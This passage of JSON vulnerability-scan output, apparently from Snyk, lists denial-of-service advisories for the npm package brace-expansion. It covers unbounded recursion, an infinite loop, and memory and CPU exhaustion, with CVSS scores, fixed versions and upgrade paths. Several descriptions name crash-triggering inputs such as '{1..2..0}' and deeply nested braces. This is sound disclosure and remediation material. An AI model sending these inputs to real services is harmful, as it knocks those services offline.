"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
